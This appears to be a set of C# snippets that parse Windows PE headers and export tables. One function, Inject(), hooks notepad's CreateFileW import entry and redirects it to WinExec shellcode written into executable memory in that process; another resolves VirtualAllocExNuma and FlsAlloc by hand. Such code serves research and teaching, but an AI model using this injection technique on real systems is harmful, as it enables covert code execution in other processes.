optionalHeader32, fileHeader.Location.FileOffset + fileHeader.Location.FileSize, imageBase, magic); } else { optionalHeader = new OptionalHeader64(this, optionalHeader64, fileHeader.Location.FileOffset + fileHeader.Location.FileSize, imageBase, magic); } var dataDirectories = new DataDirectories(this, optionalHeader, dataDirs); NTHeaders = new NTHeaders(this, ntOffset.ToUInt64(), imageBase, fileHeader, optionalHeader, dataDirectories); SectionTable = new SectionTable(this, sectionTable, NTHeaders.Location.FileOffset + NTHeaders.Location.FileSize, imageBase); Sections = new Sections(this, SectionTable); }
public static void FindFunctions(ref IntPtr VirtualAllocExNumaAddr, ref IntPtr VirtualAllocExAddr, ref IntPtr FlsAllocAddr, ref IntPtr GetCurrentProcessAddr) { // Get 'Kernel32.dll' image base address IntPtr Kernel32BaseAddr = IntPtr.Zero; foreach (ProcessModule Module in Process.GetCurrentProcess().Modules) { if (Module.ModuleName.ToLower().Equals("kernel32.dll")) { Kernel32BaseAddr = Module.BaseAddress; } } if (Kernel32BaseAddr == IntPtr.Zero) { Console.WriteLine("Failed to find 'kernel32.dll' base address"); return; } IMAGE_DOS_HEADER ImageDosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(Kernel32BaseAddr, typeof(IMAGE_DOS_HEADER)); MagicType Architecture = (MagicType)Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + ImageDosHeader.e_lfanew + 4 + 20)); IMAGE_EXPORT_DIRECTORY ImageExportDirectory; switch (Architecture) { case MagicType.IMAGE_NT_OPTIONAL_HDR32_MAGIC: IMAGE_OPTIONAL_HEADER32 PEHeader32 = (IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure((IntPtr)(Kernel32BaseAddr.ToInt64() + ImageDosHeader.e_lfanew + 4 + 20), typeof(IMAGE_OPTIONAL_HEADER32)); ImageExportDirectory = (IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)PEHeader32.ExportTable.VirtualAddress), typeof(IMAGE_EXPORT_DIRECTORY)); break; case MagicType.IMAGE_NT_OPTIONAL_HDR64_MAGIC: IMAGE_OPTIONAL_HEADER64 PEHeader64 = (IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure((IntPtr)(Kernel32BaseAddr.ToInt64() + ImageDosHeader.e_lfanew + 4 + 20), typeof(IMAGE_OPTIONAL_HEADER64)); ImageExportDirectory = (IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)PEHeader64.ExportTable.VirtualAddress), typeof(IMAGE_EXPORT_DIRECTORY)); break; default: Console.WriteLine("Failed to identify 'kernel32.dll' architecture"); return; } ; // Setup variables for iterating over export table int CurrentFunctionNameAddr; String CurrentFunctionName; // Iterate over export table for (int i = 0; i < ImageExportDirectory.NumberOfNames; i++) { // Get current function's address (pointer) and name (pointer) CurrentFunctionNameAddr = Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)ImageExportDirectory.AddressOfNames + (i * 4))); CurrentFunctionName = Marshal.PtrToStringAnsi((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)CurrentFunctionNameAddr)); // Check to see if it is the required function if (CurrentFunctionName.Equals("VirtualAllocExNuma")) { VirtualAllocExNumaAddr = (IntPtr)(Kernel32BaseAddr.ToInt64() + Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)ImageExportDirectory.AddressOfFunctions + (i * 4)))); } else if (CurrentFunctionName.Equals("VirtualAllocEx")) { VirtualAllocExAddr = (IntPtr)(Kernel32BaseAddr.ToInt64() + Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)ImageExportDirectory.AddressOfFunctions + (i * 4)))); } else if (CurrentFunctionName.Equals("FlsAlloc")) { FlsAllocAddr = (IntPtr)(Kernel32BaseAddr.ToInt64() + Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)ImageExportDirectory.AddressOfFunctions + (i * 4)))); } else if (CurrentFunctionName.Equals("GetCurrentProcess")) { GetCurrentProcessAddr = (IntPtr)(Kernel32BaseAddr.ToInt64() + Marshal.ReadInt32((IntPtr)(Kernel32BaseAddr.ToInt64() + (int)ImageExportDirectory.AddressOfFunctions + (i * 4)))); } // Check to see if all functions have been derived if ((VirtualAllocExAddr != IntPtr.Zero) && (VirtualAllocExNumaAddr != IntPtr.Zero) && (FlsAllocAddr != IntPtr.Zero) && (GetCurrentProcessAddr != IntPtr.Zero)) { break; } } }
public IntPtr GetRemoteProcAddress(IntPtr ptrHandle, IntPtr hBaseAddress, string sProcName) { IMAGE_DOS_HEADER32 dosHeader = new IMAGE_DOS_HEADER32(); uint uiSignature = 0; IMAGE_FILE_HEADER fileHeader = new IMAGE_FILE_HEADER(); IMAGE_OPTIONAL_HEADER32 optHeader32 = new IMAGE_OPTIONAL_HEADER32(); IMAGE_DATA_DIRECTORY exportDirectory = new IMAGE_DATA_DIRECTORY(); IMAGE_EXPORT_DIRECTORY exportTable = new IMAGE_EXPORT_DIRECTORY(); IntPtr ptrFunctionTable = IntPtr.Zero; IntPtr ptrNameTable = IntPtr.Zero; IntPtr ptrOrdinalTable = IntPtr.Zero; if (ptrHandle == IntPtr.Zero || hBaseAddress == IntPtr.Zero) { WriteError("Invalid call."); return(IntPtr.Zero); } IntPtr ptrNumBytesRead = IntPtr.Zero; if (!ReadProcessMemory(ptrHandle, hBaseAddress, &dosHeader, Marshal.SizeOf(dosHeader), out ptrNumBytesRead)) { WriteError("Failed. Error code: " + Marshal.GetLastWin32Error().ToString()); return(IntPtr.Zero); } if (dosHeader.e_magic != 0x5A4D) { WriteError("Image is not a valid DLL. " + dosHeader.e_magic.ToString()); return(IntPtr.Zero); } if (!ReadProcessMemory(ptrHandle, hBaseAddress + (dosHeader.e_lfanew), &uiSignature, Marshal.SizeOf(uiSignature), out ptrNumBytesRead)) { WriteError("Failed. Error code: " + Marshal.GetLastWin32Error().ToString()); return(IntPtr.Zero); } if (uiSignature != 0x4550) { WriteError("Invalid NT signature..."); return(IntPtr.Zero); } if (!ReadProcessMemory(ptrHandle, hBaseAddress + (dosHeader.e_lfanew + Marshal.SizeOf(uiSignature)), &fileHeader, Marshal.SizeOf(fileHeader), out ptrNumBytesRead)) { WriteError("Failed. Error code: " + Marshal.GetLastWin32Error().ToString()); return(IntPtr.Zero); } if (!ReadProcessMemory(ptrHandle, hBaseAddress + (dosHeader.e_lfanew + Marshal.SizeOf(uiSignature) + Marshal.SizeOf(fileHeader)), &optHeader32, Marshal.SizeOf(optHeader32), out ptrNumBytesRead)) { WriteError("Failed. Error code: " + Marshal.GetLastWin32Error().ToString()); return(IntPtr.Zero); } if (optHeader32.NumberOfRvaAndSizes >= 1) { exportDirectory.VirtualAddress = (optHeader32.ExportTable.VirtualAddress); exportDirectory.Size = (optHeader32.ExportTable.Size); } else { WriteError("No export table found."); return(IntPtr.Zero); } if (!ReadProcessMemory(ptrHandle, hBaseAddress + (int)(exportDirectory.VirtualAddress), &exportTable, Marshal.SizeOf(exportTable), out ptrNumBytesRead)) { WriteError("Failed. Error code: " + Marshal.GetLastWin32Error().ToString()); return(IntPtr.Zero); } uint[] uiExportFuncTable = ReadUIntArray(ptrHandle, hBaseAddress + (int)(exportTable.AddressOfFunctions), (int)exportTable.NumberOfFunctions); uint[] uiExportNameTable = ReadUIntArray(ptrHandle, hBaseAddress + (int)(exportTable.AddressOfNames), (int)exportTable.NumberOfNames); short[] usExportOrdinalTable = ReadShortArray(ptrHandle, hBaseAddress + (int)(exportTable.AddressOfNameOrdinals), (int)exportTable.NumberOfNames); for (int i = 0; i < exportTable.NumberOfNames; i++) { if (ReadString(ptrHandle, hBaseAddress + (int)(uiExportNameTable[i])) == sProcName) { return(new IntPtr((int)hBaseAddress + uiExportFuncTable[usExportOrdinalTable[i]])); } } WriteError("Unable to find the provided procedure name!"); return(IntPtr.Zero); }
public PeHeaderReader(string filePath) { using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read)) { BinaryReader reader = new BinaryReader(stream); dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader); // Add 4 bytes to the offset stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); UInt32 ntHeadersSignature = reader.ReadUInt32(); fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader); if (this.Is32BitHeader) { optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader); } else { optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader); } uint offDebug = 0; uint cbDebug = 0; long cbFromHeader = 0; int loopexit = 0; if (this.Is32BitHeader) { cbDebug = optionalHeader32.Debug.Size; } else { cbDebug = optionalHeader64.Debug.Size; } imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) { imageSectionHeaders[headerNo] = FromBinaryReader <IMAGE_SECTION_HEADER>(reader); if ((imageSectionHeaders[headerNo].PointerToRawData != 0) && (imageSectionHeaders[headerNo].SizeOfRawData != 0) && (cbFromHeader < (long) (imageSectionHeaders[headerNo].PointerToRawData + imageSectionHeaders[headerNo].SizeOfRawData))) { cbFromHeader = (long) (imageSectionHeaders[headerNo].PointerToRawData + imageSectionHeaders[headerNo].SizeOfRawData); } if (cbDebug != 0) { if (this.Is32BitHeader) { if (imageSectionHeaders[headerNo].VirtualAddress <= optionalHeader32.Debug.VirtualAddress && ((imageSectionHeaders[headerNo].VirtualAddress + imageSectionHeaders[headerNo].SizeOfRawData) > optionalHeader32.Debug.VirtualAddress)) { offDebug = optionalHeader32.Debug.VirtualAddress - imageSectionHeaders[headerNo].VirtualAddress + imageSectionHeaders[headerNo].PointerToRawData; } } else { if (imageSectionHeaders[headerNo].VirtualAddress <= optionalHeader64.Debug.VirtualAddress && ((imageSectionHeaders[headerNo].VirtualAddress + imageSectionHeaders[headerNo].SizeOfRawData) > optionalHeader64.Debug.VirtualAddress)) { offDebug = optionalHeader64.Debug.VirtualAddress - imageSectionHeaders[headerNo].VirtualAddress + imageSectionHeaders[headerNo].PointerToRawData; } } } } stream.Seek(offDebug, SeekOrigin.Begin); while (cbDebug >= Marshal.SizeOf(typeof(IMAGE_DEBUG_DIRECTORY))) { if (loopexit == 0) { imageDebugDirectory = FromBinaryReader <IMAGE_DEBUG_DIRECTORY>(reader); long seekPosition = stream.Position; if (imageDebugDirectory.Type == 0x2) { stream.Seek(imageDebugDirectory.PointerToRawData, SeekOrigin.Begin); DebugInfo = FromBinaryReader <IMAGE_DEBUG_DIRECTORY_RAW>(reader); loopexit = 1; //Downloading logic for .NET native images if (new string(DebugInfo.name).Contains(".ni.")) { stream.Seek(seekPosition, SeekOrigin.Begin); loopexit = 0; } } if ((imageDebugDirectory.PointerToRawData != 0) && (imageDebugDirectory.SizeOfData != 0) && (cbFromHeader < (long) (imageDebugDirectory.PointerToRawData + imageDebugDirectory.SizeOfData))) { cbFromHeader = (long) (imageDebugDirectory.PointerToRawData + imageDebugDirectory.SizeOfData); } } cbDebug -= (uint)Marshal.SizeOf(typeof(IMAGE_DEBUG_DIRECTORY)); } if (loopexit != 0) { _pdbName = new string(DebugInfo.name); _pdbName = _pdbName.Remove(_pdbName.IndexOf("\0")); _pdbage = DebugInfo.age.ToString("X"); _debugGUID = DebugInfo.guid; } } }
public static void Inject() { string targetProcName = "notepad"; string targetFuncName = "CreateFileW"; // Get target process id and read memory contents Process process = Process.GetProcessesByName(targetProcName)[0]; IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, process.Id); int bytesRead = 0; byte[] fileBytes = new byte[process.WorkingSet64]; ReadProcessMemory(hProcess, process.MainModule.BaseAddress, fileBytes, fileBytes.Length, ref bytesRead); // The DOS header IMAGE_DOS_HEADER dosHeader; // The file header IMAGE_FILE_HEADER fileHeader; // Optional 32 bit file header IMAGE_OPTIONAL_HEADER32 optionalHeader32 = new IMAGE_OPTIONAL_HEADER32(); // Optional 64 bit file header IMAGE_OPTIONAL_HEADER64 optionalHeader64 = new IMAGE_OPTIONAL_HEADER64(); // Image Section headers IMAGE_SECTION_HEADER[] imageSectionHeaders; // Import descriptor for each DLL IMAGE_IMPORT_DESCRIPTOR[] importDescriptors; // Convert file bytes to memorystream and use reader MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length); BinaryReader reader = new BinaryReader(stream); //Begin parsing structures dosHeader = FromBinaryReader <IMAGE_DOS_HEADER>(reader); // Add 4 bytes to the offset stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); UInt32 ntHeadersSignature = reader.ReadUInt32(); fileHeader = FromBinaryReader <IMAGE_FILE_HEADER>(reader); if (Is32BitHeader(fileHeader)) { optionalHeader32 = FromBinaryReader <IMAGE_OPTIONAL_HEADER32>(reader); } else { optionalHeader64 = FromBinaryReader <IMAGE_OPTIONAL_HEADER64>(reader); } imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) { imageSectionHeaders[headerNo] = FromBinaryReader <IMAGE_SECTION_HEADER>(reader); } // Go to ImportTable and parse every imported DLL stream.Seek((long)((ulong)optionalHeader64.ImportTable.VirtualAddress), SeekOrigin.Begin); importDescriptors = new IMAGE_IMPORT_DESCRIPTOR[50]; for (int i = 0; i < 50; i++) { importDescriptors[i] = FromBinaryReader <IMAGE_IMPORT_DESCRIPTOR>(reader); } bool flag = false; int j = 0; // The below is really hacky, would have been better to use structures! while (j < importDescriptors.Length && !flag) { for (int k = 0; k < 1000; k++) { // Get the address for the function and its name stream.Seek(importDescriptors[j].OriginalFirstThunk + (k * 8), SeekOrigin.Begin); long nameOffset = reader.ReadInt64(); if (nameOffset > 1000000 || nameOffset < 0) { break; } // Get the function name stream.Seek(nameOffset + 2, SeekOrigin.Begin); List <string> list = new List <string>(); byte[] array; do { array = reader.ReadBytes(1); list.Add(Encoding.Default.GetString(array)); }while (array[0] != 0); string curFuncName = string.Join(string.Empty, list.ToArray()); curFuncName = curFuncName.Substring(0, curFuncName.Length - 1); // Get the offset of the pointer to the target function and its current value long funcOffset = importDescriptors[j].FirstThunk + (k * 8); stream.Seek(funcOffset, SeekOrigin.Begin); long curFuncAddr = reader.ReadInt64(); // Found target function, modify address to point to shellcode if (curFuncName == targetFuncName) { // WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode // nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin byte[] payload = new byte[111] { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xe4, 0xf0, 0x50, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x68, 0x5c, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58 }; // Once shellcode has executed go to real import (mov to rax then jmp to address) byte[] mov_rax = new byte[2] { 0x48, 0xb8 }; byte[] jmp_address = BitConverter.GetBytes(curFuncAddr); byte[] jmp_rax = new byte[2] { 0xff, 0xe0 }; // Build shellcode byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length]; payload.CopyTo(shellcode, 0); mov_rax.CopyTo(shellcode, payload.Length); jmp_address.CopyTo(shellcode, payload.Length + mov_rax.Length); jmp_rax.CopyTo(shellcode, payload.Length + mov_rax.Length + jmp_address.Length); // Allocate memory for shellcode IntPtr shellcodeAddress = VirtualAllocEx(hProcess, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // Write shellcode to memory IntPtr shellcodeBytesWritten = IntPtr.Zero; WriteProcessMemory(hProcess, shellcodeAddress, shellcode, shellcode.Length, out shellcodeBytesWritten); long funcAddress = (long)optionalHeader64.ImageBase + funcOffset; // Get current value of IAT bytesRead = 0; byte[] buffer1 = new byte[8]; ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer1, buffer1.Length, ref bytesRead); // Get shellcode address byte[] shellcodePtr = BitConverter.GetBytes((Int64)shellcodeAddress); // Modify permissions to allow IAT modification uint oldProtect = 0; bool protectbool = VirtualProtectEx(hProcess, (IntPtr)funcAddress, shellcodePtr.Length, PAGE_EXECUTE_READWRITE, out oldProtect); // Modfiy IAT to point to shellcode IntPtr iatBytesWritten = IntPtr.Zero; bool success = WriteProcessMemory(hProcess, (IntPtr)funcAddress, shellcodePtr, shellcodePtr.Length, out iatBytesWritten); // Read IAT to confirm new value bytesRead = 0; byte[] buffer = new byte[8]; ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer, buffer.Length, ref bytesRead); flag = true; break; } } j++; } }
public PESupport(string LibraryName) { Debug.Assert(LibraryName != null); this.LibraryName = LibraryName; hLibrary = IntPtr.Zero; IntPtr original_hLibrary = LoadLibraryEx(this.LibraryName, IntPtr.Zero, LoadLibraryFlags.DONT_RESOLVE_DLL_REFERENCES); // access violations occur with LOAD_LIBRARY_AS_DATAFILE, but don't with DONT_RESOLVE_DLL_REFERENCES for some reason hLibrary = new IntPtr(original_hLibrary.ToInt32() - original_hLibrary.ToInt32() % 4); // adjust things to a DWORD boundary int error = Marshal.GetLastWin32Error(); if (hLibrary == null && error != 0) { throw new System.ApplicationException("Got error " + error + " when loading library " + LibraryName); } // do some sanity checking dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(hLibrary, typeof(IMAGE_DOS_HEADER)); if (!dosHeader.isValid) { throw new System.ApplicationException("Library does not appear to be a valid DOS file!"); } ntHeader = (IMAGE_NT_HEADERS32)Marshal.PtrToStructure(hLibrary + dosHeader.e_lfanew, typeof(IMAGE_NT_HEADERS32)); if (!ntHeader.isValid) { throw new System.ApplicationException("Library NT Header does not appear valid!"); } fileHeader = ntHeader.FileHeader; if (fileHeader.Machine != (UInt16)(MachineType.I386)) { throw new System.ApplicationException("Library appears to be compiled for x64 while this program only supports x86 libraries."); } optionalHeader = ntHeader.OptionalHeader; exports = new Dictionary<int, List<string>>(); // if we don't have an export directory, move on if (optionalHeader.ExportTable.VirtualAddress == 0 || optionalHeader.ExportTable.Size == 0) { FreeLibrary(original_hLibrary); return; } // initialise the export header exportHeader = (IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure(hLibrary + (int)optionalHeader.ExportTable.VirtualAddress, typeof(IMAGE_EXPORT_DIRECTORY)); for (int i = 0; i < exportHeader.NumberOfNames; i++) { // grab the pointer to the next entry in the string table. In C, this would be a char* IntPtr namePtr = (IntPtr)Marshal.PtrToStructure(hLibrary + (int)(exportHeader.AddressOfNames) + (4 * i), typeof(IntPtr)); // dereference the previous char* string name; try { name = Marshal.PtrToStringAnsi(hLibrary + namePtr.ToInt32()); } catch (Exception ex) { name = ""; Console.WriteLine(ex.StackTrace); } // grab the address for this function int address = ((IntPtr)Marshal.PtrToStructure(hLibrary + (int)(exportHeader.AddressOfFunctions) + 4 * i, typeof(IntPtr))).ToInt32(); address += (int)optionalHeader.ImageBase; if (exports.ContainsKey(address)) { exports[address].Add(name); } else { exports[address] = new List<string>(); exports[address].Add(name); } } FreeLibrary(original_hLibrary); }